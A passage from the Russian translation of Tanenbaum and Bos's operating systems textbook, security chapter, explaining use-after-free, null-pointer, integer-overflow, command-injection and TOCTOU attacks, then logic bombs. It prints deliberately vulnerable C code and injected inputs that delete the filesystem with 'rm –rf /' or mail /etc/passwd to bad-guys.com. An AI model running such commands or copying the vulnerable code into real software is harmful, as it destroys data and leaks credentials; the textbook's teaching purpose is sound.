Файл: Debian Таненбаум Бос.pdf

ВУЗ: Не указан

Категория: Книга

Дисциплина: Операционные системы

Добавлен: 29.10.2018

Просмотров: 48130

Скачиваний: 190

ВНИМАНИЕ! Если данный файл нарушает Ваши авторские права, то обязательно сообщите нам.
background image

9.7. Взлом программного обеспечения   

721

Код неверен. Не только из-за возрастной дискриминации, но также потому, что 
в строке 12 он может присвоить значение элементу массива A после того, как вы-
деленная под него память уже была освобождена (в строке 5). Указатель A все еще 
будет вести на тот же адрес, но его дальнейшее использование уже не предполагается. 
Фактически память теперь уже могла быть повторно использована другим буфером 
(см. строку 11).

Вопрос в следующем: что же произойдет? Код в строке 12 будет пытаться обновить 
содержимое памяти, которая уже больше не используется для массива A, и может из-
менить другую структуру данных, которая теперь находится в этой области памяти. 
В общем, это искажение памяти ничего хорошего не принесет, но будет еще хуже, если 
взломщик сможет манипулировать программой таким образом, чтобы она поместила 
в эту память конкретный объект кучи, где первое целочисленное значение этого объек-
та содержит, скажем, уровень авторизации пользователя. Это не всегда просто сделать, 
но есть технологии (известные как фэншуй кучи — heap feng shui), помогающие взлом-
щикам вытаскивать такие значения. Фэншуй является древнекитайским искусством 
ориентации зданий, гробниц и памяти в куче благоприятным образом. Если мастер 
цифрового фэншуя преуспеет в своей работе, то после этого он сможет установить для 
уровня авторизации любое значение (впрочем, не более чем 1900).

9.7.4. Атаки, использующие разыменование 
нулевого указателя

Несколькими сотнями страниц ранее, в главе 3, подробно рассматривалось управле-
ние памятью. Возможно, вы помните, как современные операционные системы вир-
туализируют адресное пространство ядра и пользовательских процессов. Перед тем 
как программа обращается к адресу в памяти, диспетчер памяти посредством таблиц 
страниц преобразует этот виртуальный адрес в физический. Обращение к неотобра-
женным страницам невозможно. Представляется вполне логичным предположение, 
что адресное пространство ядра и адресное пространство пользовательского процесса 
совершенно разные, но так бывает не всегда. Например, в Linux ядро просто отобража-
ется в адресном пространстве каждого процесса, и всякий раз, когда ядро приступает 
к обработке системного вызова, оно запускается в адресном пространстве процесса.

На 32-разрядной системе пользовательское пространство занимает нижние 3 Гбайт 
адресного пространства, а ядро занимает верхний 1 Гбайт. Причиной такого сожи-
тельства является эффективность, поскольку переключение между адресными про-
странствами обходится недешево.

Обычно такое размещение не вызывает никаких проблем. Ситуация меняется, когда 
взломщик получает возможность заставить ядро вызывать функции в пользователь-
ском пространстве. Зачем ядру это делать? Понятно, что оно этого делать не должно. 
Но помните, мы говорили о дефектах? Ядро с дефектом может в редких и неудачных 
обстоятельствах случайно разыменовать нулевой указатель (NULL pointer). Напри-
мер, оно может вызвать функцию, использующую указатель функции, который еще 
не был инициализирован. В последние годы в ядре Linux было обнаружено несколько 
таких дефектов. Разыменование нулевого указателя — дело грязное, поскольку обычно 
приводит к аварии. Результаты печальны для пользовательского процесса, поскольку 
программа терпит крах, но еще хуже они для ядра, поскольку при этом рушится вся 
система.


background image

722  

 Глава 9. Безопасность 

Иногда бывает еще хуже, и взломщик приобретает возможность инициировать 
 разыменование нулевого указателя из пользовательского процесса. В таком случае 
он может обрушить систему в любой нужный ему момент. Но обрушивая систему, 
вы не получите высоких оценок от своих друзей-взломщиков — им нужно увидеть 
оболочку.

Обрушение происходит по той причине, что на нулевую страницу никакой код не 
отображается. Поэтому взломщик может использовать специальную функцию mmap
чтобы исправить ситуацию. С помощью mmap пользовательский процесс может по-
требовать от ядра отобразить память по конкретному адресу. После отображения стра-
ницы по адресу 0 взломщик может написать в этой странице шелл-код. И наконец, он 
запускает разыменование нулевого указателя, что приводит к выполнению шелл-кода 
с привилегиями ядра. Вот тогда будут получены высокие оценки.

В современных ядрах возможность отображения через mmap страницы с нулевым 
адресом уже отсутствует. Но даже при этом в преступном мире по-прежнему использу-
ются многие старые ядра. Более того, этот прием работает и с указателями, имеющими 
другие значения. При наличии ряда дефектов взломщик может внедрить собственный 
указатель в ядро и добиться его разыменования. Урок, который нужно вынести из 
рассмотрения этого средства атаки, заключается в том, что взаимодействия уровня 
«ядро — пользователь» могут возникать в самых неожиданных местах и оптимизаци-
онные меры, направленные на повышение производительности, могут позже вылиться 
в преследования в виде атак.

9.7.5. Атаки, использующие переполнение 
целочисленных значений

Компьютеры осуществляют целочисленные арифметические вычисления с числами 
фиксированной длины, составляющей обычно 8, 16, 32 или 64 разряда. Если сумма 
двух складываемых или перемножаемых чисел превышает максимальное отобража-
емое целое число, происходит переполнение. Программы на языке C не отлавливают 
эту ошибку, они просто сохраняют и используют неправильное значение. В частности, 
если переменные являются целыми числами со знаком, то результат сложения или 
перемножения двух положительных целых чисел может быть сохранен в виде отрица-
тельного целого числа. Если переменные не имеют знака, результат будет положитель-
ным числом, но высшие разряды могут перейти в низшие. Рассмотрим, например, две 
беззнаковые 16-разрядные целочисленные переменные, каждая из которых содержит 
значение 40 000. Если они перемножаются, а результат сохраняется в другой беззнако-
вой 16-разрядной целочисленной переменной, то видимым произведением будет 4096. 
Разумеется, результат неверен, но этот факт не обнаруживается.

Возможность вызывать неопределяемые числовые переполнения может быть пре-
вращена в атаку. Один из способов атаки заключается в предоставлении программе 
двух допустимых (но больших) параметров, таких, что любая операция сложения 
или умножения, выполненная с ними, вызовет переполнение. Например, некоторые 
программы для работы с графикой поддерживают параметры командной строки, за-
дающие высоту и ширину файла с изображением, допустим, размер, к которому будет 
преобразовано входное изображение. Если целевые ширина и высота были выбраны, 
чтобы вызвать переполнение, программа неправильно вычислит, сколько памяти ей 
понадобится для хранения изображения, и вызовет процедуру malloc для распределе-


background image

9.7. Взлом программного обеспечения   

723

ния, отводя для него слишком маленький буфер. Теперь ситуация созрела для атаки 
за счет переполнения буфера. Такие же средства атаки можно применить, когда сумма 
или произведение положительных целых чисел со знаком в результате оказываются 
отрицательным целым числом.

9.7.6. Атаки, использующие внедрение команд

Еще одна атака заставляет целевую программу выполнить неизвестную команду. 
Рассмотрим программу, которой в какой-то момент требуется продублировать некий 
предоставленный пользователем файл, присвоив ему другое имя (возможно, с целью 
создания резервной копии). Если программист ленится набирать программный код, 
он может воспользоваться системной функцией, которая запускает процесс оболочки 
и выполняет свои аргументы как команду оболочки. Например, код на языке C

system("ls >file-list")

запускает процесс оболочки, который выполняет команду

ls >file-list

составляя список всех файлов в текущем каталоге и записывая его в файл, названный 

file-list

. Код, который ленивый программист может использовать для дублирования 

файла, показан в листинге 9.1.

Листинг 9.1. Код, который может привести к атаке, использующей ввод 
программного кода

int main(int argc, char * argv[])
{
  char src[100], dst[100], cmd[205] = "cp "; /* объявление трех строк */ 
  printf("Пожалуйста, введите имя файла-источника: "); /* запрос 
                                                          файла-источника */ 
  gets(src);                                 /* получение ввода с клавиатуры */
  strcat(cmd, src);                          /* присоединение src после cp */
  strcat(cmd, " ");                          /* добавление пробела 
                                                в конец cmd */ 
  printf("Пожалуйста, введите имя файла назначения: ");
                                             /* запрос имени выходного 
                                                файла */ 
  gets(dst);                                 /* получение ввода 
                                                с клавиатуры */ 
  strcat(cmd, dst);                          /* завершение командной строки */ 
  system(cmd);                               /* выполнение команды cp */
}

Программа запрашивает имена файла-источника и файла назначения, создает ко-
мандную строку, использующую команду cp, а затем осуществляет вызов system для 
ее выполнения. Предположим, пользователь набирает «abc» и «xyz» и выполняется 
следующая команда:

cp abc xyz

которая, несомненно, копирует файл.

К сожалению, этот код открывает огромную брешь в системе безопасности, использую-
щую технологию под названием внедрение команд (command injection). Предположим, 


background image

724  

 Глава 9. Безопасность 

что пользователь набрал вместо этого «abc» и «‘xyz; rm –rf /». Теперь конструируется 
и выполняется следующая команда:

cp abc xyz; rm –rf /

которая сначала копирует файл, а затем пытается рекурсивно удалить каждый файл 
и каждый каталог во всей файловой системе. Если программа запущена с правами при-
вилегированного пользователя, она может иметь успех. Проблема, разумеется, в том, 
что все следующее за точкой с запятой выполняется как команда оболочки.

Другим примером второго аргумента может быть «xyz; mail snooper@bad-guys.com 
</etc/passwd», создающий команду

cp abc xyz; mail snooper@bad-guys.com </etc/passwd

посредством которой файл паролей отправляется на неизвестный и ненадежный адрес.

9.7.7 Атаки, проводимые с момента проверки 
до момента использования

Последняя атака, рассматриваемая в этом разделе, имеет совершенно иную природу. 
Она не портит память и не внедряет код. Вместо этого она выбирает в качестве сред-
ства атаки условия состязательности. Как всегда, лучше всего это показать на примере. 
Рассмотрим следующий код:

int fd;
if (access ("./my document", W OK) != 0) {
    exit (1);
fd = open ("./my document", O WRONLY)
write (fd, user input, sizeof (user input));

Предположим опять, что эта программа согласно установке бита SETUID принад-
лежит пользователю root и взломщик хочет воспользоваться ее привилегиями для 
записи в файл паролей. Разумеется, у него нет разрешения на запись в файл паролей, 
но посмотрим на код. Первое, что можно заметить, — это что SETUID-программа 
вообще не предназначена для записи в файл паролей, она лишь хочет осуществить 
запись в файл под названием 

my

 

document

 в текущем рабочем каталоге. Даже в такой 

ситуации пользователь может иметь этот файл в своем текущем рабочем каталоге, но 
это не означает, что он на самом деле имеет права записи в этот файл. Например, файл 
может быть символьной ссылкой на другой файл, который вообще не принадлежит 
пользователю, например на файл паролей.

Чтобы предотвратить такую возможность, программа проводит проверку с целью убе-
диться в том, что у пользователя есть доступ на запись в файл, посредством системного 
вызова access. Этот вызов проверяет сам файл (например, если он является символьной 
ссылкой, то будет разыменован), возвращает 0, если запрошенный доступ разрешен, 
и значение ошибки –1 — в противном случае. Кроме того, проверка осуществляется 
с реального UID вызывающего процесса, а не с действующего UID (потому что в про-
тивном случае процесс SETUID всегда будет иметь доступ). Программа продолжит 
выполнение открытием файла и записью в него пользовательского ввода только в том 
случае, если проверка пройдет успешно.

Программа выглядит безопасной, но это не так. Проблема в том, что момент, когда 
доступ проверяется на привилегии, и момент, в который эти привилегии применя-


background image

9.8. Инсайдерские атаки   

725

ются, не один и тот же. Предположим, что за доли секунды после проверки доступа 
взломщик сумел создать символическую ссылку с таким же именем на файл паролей. 
В таком случае инструкцией open будет открыт не тот файл и данные взломщика будут 
в конечном счете записаны в файл паролей. Чтобы все получилось, взломщик должен 
посостязаться с программой и создать символьную ссылку точно в нужное время.

Эта атака известна как атака, проводимая с момента проверки до момента использо-
вания

 (Time of Check to Time of Use (TOCTOU)). Если посмотреть на эту конкретную 

атаку по-другому, обнаружится, что системный вызов access просто небезопасен. Было 
бы намного лучше сначала открыть файл, а затем проверить разрешения с помощью 
функции fstat, используя вместо всего этого описатель файла. Описатели файлов без-
опасны, поскольку они не могут быть изменены взломщиком между вызовами fstat 
и write. Этот пример показывает, что разработка хорошего API для операционной 
системы является исключительно важным и очень непростым делом. В данном случае 
разработчики просчитались.

9.8. Инсайдерские атаки

Совершенно иную категорию проблем можно назвать внутренней подрывной работой, 
выполняемой программистами и другими сотрудниками компании, работающими за 
компьютером, который должен быть защищен, или создающими важные компоненты 
программного обеспечения. Эти атаки отличаются от внешних, поскольку свои специ-
алисты (инсайдеры — insiders) обладают специализированными знаниями и доступом, 
которых нет у посторонних лиц (аутсайдеров — outsiders). Далее приводится несколько 
примеров, каждый из которых неоднократно повторялся в прошлом. У каждого из них 
есть свои особенности, обусловленные тем, кто атакует, против кого направлена эта 
атака и чего атакующий пытается добиться.

9.8.1. Логические бомбы

В наше время повсеместного привлечения к работе внешних специалистов про-
граммисты часто беспокоятся за свои места. Иногда они даже предпринимают шаги, 
чтобы сделать свою потенциальную (принудительную) отставку менее болезненной. 
Имеющие склонность к шантажу находят выход в написании логических бомб (logic 
bomb). Такая бомба представляет собой фрагмент программного кода, созданный 
одним из работающих в компании программистов и тайно внедренный в производ-
ственную систему. Пока программист ежедневно вводит в нее свой пароль, ей этого 
вполне достаточно, и она ничего не делает. Но если программист будет внезапно уволен 
и физически изгнан из производственного помещения, то на следующий день (или на 
следующей неделе) логическая бомба останется без своего ежедневно вводимого па-
роля и «взорвется». Возможны и другие вариации на ту же тему. В одном из известных 
случаев логическая бомба проверяла платежную ведомость. Если персональный номер 
программиста не появлялся в ней в течение двух последовательных периодов выплат, 
бомба «взрывалась» (Spafford et al., 1989).

Так называемый «взрыв» может заключаться в очистке диска, стирании файлов 
в случайном порядке, внесении малозаметных изменений в ключевые программы или 
зашифровке важных файлов. В последнем случае перед компанией стоит нелегкий 
выбор: звонить в полицию (что по истечении многих месяцев может привести, а мо-